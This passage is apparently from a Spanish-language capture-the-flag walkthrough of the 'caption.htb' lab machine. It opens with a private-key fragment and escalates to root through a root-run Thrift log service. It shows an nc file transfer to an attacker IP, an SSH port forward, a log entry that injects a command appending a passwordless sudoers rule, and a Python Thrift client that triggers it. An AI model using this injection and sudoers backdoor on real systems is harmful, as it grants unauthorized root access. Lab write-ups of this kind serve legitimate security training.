Zpid9tR/6oub8Y3Jh3cAAAAAAQIDBAUGBwg=
-----END OPENSSH PRIVATE KEY-----
y ya estaria lo demas norma el chmod 600 y para dentro
root
ejecutamos un linpheass
vemos lo siguiente. un escript go que levanta el puerto 9090 con un servidor thrift
como vemos es root el que lo esta ejecutando
para poder comunicarnos necesitamos tener nuestro propio servidor thrift
para ello vamos a hacer lo siguinet en la maquina victima
git clone http://caption.htb:8080/git/root/Logservice.git
entramos y ejecutamos el siguiente comando para establecer la conexion
thrift --gen py log_service.thrift
y ahora ese archivo nos lo pasamos a nuestra mquina local de la siguiente forma
#maquina victima
nc -q 0 10.10.14.181 4321 < log_service.thrift
#maquina atacanete
nc -lnvp 4321 > log_service.thrift
una vez con el archivo nos hacemos que el puerto 9090 sea el de la maqina
ssh -i margo.key -L 9090:127.0.0.1:9090 margo@10.10.11.33
ahora devemos crear en la mquina victima un log maligno:
`127.0.0.1, "user-agent":"Mozilla'; echo 'margo ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers;#"`
lo dejamos en /tmp por ejemplo
ahora en nuestra maquina ejecutamos el siguiente comando
thrift -r --gen py log_service.thrift
y se nos genera un directorio gen_py
nos metemos dentro
y vamos hay vamos a crear el exploit que sera este:
from thrift import Thrift
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol
import sys
sys.path.append('/home/zzero/caption/exploits/gen-py')
# Import the generated code
from log_service import LogService
def main():
# Create a socket to the Thrift server
transport = TSocket.TSocket('127.0.0.1', 9090)
# Use a buffered transport for better performance
transport = TTransport.TBufferedTransport(transport)
# Use the binary protocol (consistent with Go server)
protocol = TBinaryProtocol.TBinaryProtocol(transport)
# Create a client to use the protocol encoder
client = LogService.Client(protocol)
# Open the connection
transport.open()
# Call the ReadLogFile method on the server
file_path = "/tmp/pwn.log"
result = client.ReadLogFile(file_path)
# Print the result
print(f"Server response: {result}")
# Close the connection
transport.close()
if __name__ == "__main__":
main()
lo ejecutamos
y